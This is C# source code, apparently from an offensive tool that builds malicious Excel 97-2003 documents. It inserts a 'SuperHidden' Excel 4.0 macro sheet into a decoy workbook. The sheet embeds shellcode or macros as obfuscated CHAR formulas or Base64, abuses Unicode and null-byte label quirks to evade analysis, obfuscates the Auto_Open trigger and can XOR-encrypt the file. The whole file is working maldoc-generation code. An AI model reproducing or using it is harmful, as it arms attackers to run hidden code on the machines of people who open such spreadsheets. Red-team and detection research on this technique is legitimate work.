public WorkbookStream SetMacroBinaryContent(byte[] payload, int rwStart, int colStart, int dstRwStart,
int dstColStart, SheetPackingMethod packingMethod = SheetPackingMethod.ObfuscatedCharFunc,
PayloadPackingMethod payloadPackingMethod = PayloadPackingMethod.MatchSheetPackingMethod)
{
List <string> payloadMacros;
List <BiffRecord> formulasToAdd = new List <BiffRecord>();
if (payloadPackingMethod == PayloadPackingMethod.MatchSheetPackingMethod)
{
payloadMacros = FormulaHelper.BuildPayloadMacros(payload);
formulasToAdd.AddRange(FormulaHelper.ConvertStringsToRecords(payloadMacros, rwStart, colStart,
dstRwStart, dstColStart, 15, packingMethod));
}
else if (payloadPackingMethod == PayloadPackingMethod.Base64)
{
payloadMacros = FormulaHelper.BuildBase64PayloadMacros(payload);
formulasToAdd = FormulaHelper.ConvertBase64StringsToRecords(payloadMacros, rwStart, colStart);
}
WorkbookStream macroStream = GetMacroStream();
try
{
BiffRecord lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
// If we are using base64 packing, we write STRING entries after our formulas, so check for that first
if (payloadPackingMethod == PayloadPackingMethod.Base64)
{
try
{
lastFormulaInSheet = macroStream.GetAllRecordsByType <STRING>().Last();
}
catch
{
lastFormulaInSheet = macroStream.GetAllRecordsByType <Formula>().Last();
}
}
WorkbookStream modifiedStream = WbStream.InsertRecords(formulasToAdd, lastFormulaInSheet);
WbStream = modifiedStream;
return(modifiedStream);
}
catch (Exception)
{
throw new ArgumentException(
"SetMacroBinaryContent must be called on a stream with at least 1 existing Formula Record");
}
}
public WorkbookStream AddFormula(Formula formula, PayloadPackingMethod payloadPackingMethod = PayloadPackingMethod.MatchSheetPackingMethod)
{
BiffRecord lastFormula = WbStream.GetAllRecordsByType <Formula>().Last();
// If we are using base64 packing, we write STRING entries after our formulas, so check for that first
if (payloadPackingMethod == PayloadPackingMethod.Base64)
{
try
{
lastFormula = WbStream.GetAllRecordsByType <STRING>().Last();
}
catch
{
lastFormula = WbStream.GetAllRecordsByType <Formula>().Last();
}
}
WbStream = WbStream.InsertRecord(formula, lastFormula);
WbStream = WbStream.FixBoundSheetOffsets();
return(WbStream);
}
/// <summary>
/// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument.
/// </summary>
/// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param>
/// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param>
/// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param>
/// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param>
/// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param>
/// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param>
/// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param>
/// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param>
/// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the SheetPackingMethod for encoding.</param>
/// <param name="password">Password to encrypt document using XOR Obfuscation.</param>
/// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param>
/// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param>
public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble,
PayloadType payloadType = PayloadType.Shellcode,
string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false,
SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.MatchSheetPackingMethod,
string password = "", string localizedLabel = "Auto_Open")
{
if (decoyDocument == null || payload == null)
{
Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions.");
return;
}
//Useful for remote debugging
if (debugMode)
{
Console.WriteLine("Waiting for debugger to attach");
while (!Debugger.IsAttached)
{
Thread.Sleep(100);
}
Console.WriteLine("Debugger attached");
}
List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();
string decoyDocPath = decoyDocument.FullName;
WorkbookStream wbs = LoadDecoyDocument(decoyDocPath);
List <string> sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList();
VBAInfo vbaInfo = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames);
List <string> preambleCode = new List <string>();
if (preamble != null)
{
string preambleCodePath = new FileInfo(preamble).FullName;
preambleCode = new List <string>(File.ReadAllLines(preambleCodePath));
}
WorkbookEditor wbe = new WorkbookEditor(wbs);
wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden);
List <string> macros = null;
byte[] binaryPayload = null;
byte[] binary64Payload = null;
//TODO make this customizable
int rwStart = 0;
int colStart = 0xA0;
int dstRwStart = 0;
int dstColStart = 0;
int curRw = rwStart;
int curCol = colStart;
switch (payloadType)
{
case PayloadType.Shellcode:
macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName);
binaryPayload = File.ReadAllBytes(payload.FullName);
if (payload64Bit != null && payload64Bit.Exists)
{
binary64Payload = File.ReadAllBytes(payload64Bit.FullName);
}
break;
case PayloadType.Macro:
macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList());
//Prepend the preamble to the imported pattern
macros = preambleCode.Concat(macros).ToList();
break;
default:
throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType),
"payloadType");
}
if (binaryPayload != null && binaryPayload.Length > 0)
{
if (payloadMethod == PayloadPackingMethod.Base64)
{
wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod);
}
else
{
wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method);
}
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
if (binary64Payload != null && binary64Payload.Length > 0)
{
if (payloadMethod == PayloadPackingMethod.Base64)
{
wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod);
}
else
{
wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method);
}
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
if (rwStart > 0xE000)
{
curRw = 0;
curCol += 1;
}
macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName);
}
if (payloadMethod == PayloadPackingMethod.Base64)
{
macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
}
}
wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method);
// Initialize the Global Stream records like SupBook + ExternSheet
wbe.InitializeGlobalStreamLabels();
if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine)
{
ushort charInvocationRw = 0xefff;
ushort charInvocationCol = 0x9f;
wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true);
//Abuse a few comparison "features" in Excel
//1. Null bytes are ignored at the beginning and start of a label.
//2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ
//3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325)
//4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions
wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true);
//Using lblIndex 2, since that what var has set for us
wbe.AddFormula(
FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod);
}
else if (method == SheetPackingMethod.ArgumentSubroutines)
{
ushort charInvocationRw = 0xefff;
ushort charInvocationCol = 0x9f;
ushort formInvocationRw = 0xefff;
ushort formInvocationCol = 0x9e;
ushort evalFormInvocationRw = 0xefff;
ushort evalFormInvocationCol = 0x9d;
//Lbl1
wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false);
//Lbl2
wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false);
//Lbl3
wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true);
//Lbl4
wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true);
//Lbl5
wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true);
//Lbl6
wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false);
//Lbl7
wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true);
List <Formula> charFunctionFormulas =
FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3,
UnicodeHelper.CharFuncArgument1Label);
foreach (var f in charFunctionFormulas)
{
wbe.AddFormula(f, payloadMethod);
}
List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes(
formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label,
UnicodeHelper.FormulaFuncArgument2Label, 4, 5);
foreach (var f in formulaFunctionFormulas)
{
wbe.AddFormula(f, payloadMethod);
}
List <Formula> formulaEvalFunctionFormulas =
FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes(
evalFormInvocationRw, evalFormInvocationCol,
UnicodeHelper.FormulaEvalArgument1Label, 7);
foreach (var f in formulaEvalFunctionFormulas)
{
wbe.AddFormula(f, payloadMethod);
}
}
wbe.AddLabel(localizedLabel, rwStart, colStart);
wbe.ObfuscateAutoOpen(localizedLabel);
WorkbookStream createdWorkbook = wbe.WbStream;
if (!string.IsNullOrEmpty(password))
{
Console.WriteLine("Encrypting Document with Password " + password);
XorObfuscation xorObfuscation = new XorObfuscation();
createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password);
// createdWorkbook = createdWorkbook.FixBoundSheetOffsets();
}
ExcelDocWriter writer = new ExcelDocWriter();
string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName;
Console.WriteLine("Writing generated document to {0}", outputPath);
writer.WriteDocument(outputPath, createdWorkbook, vbaInfo);
}
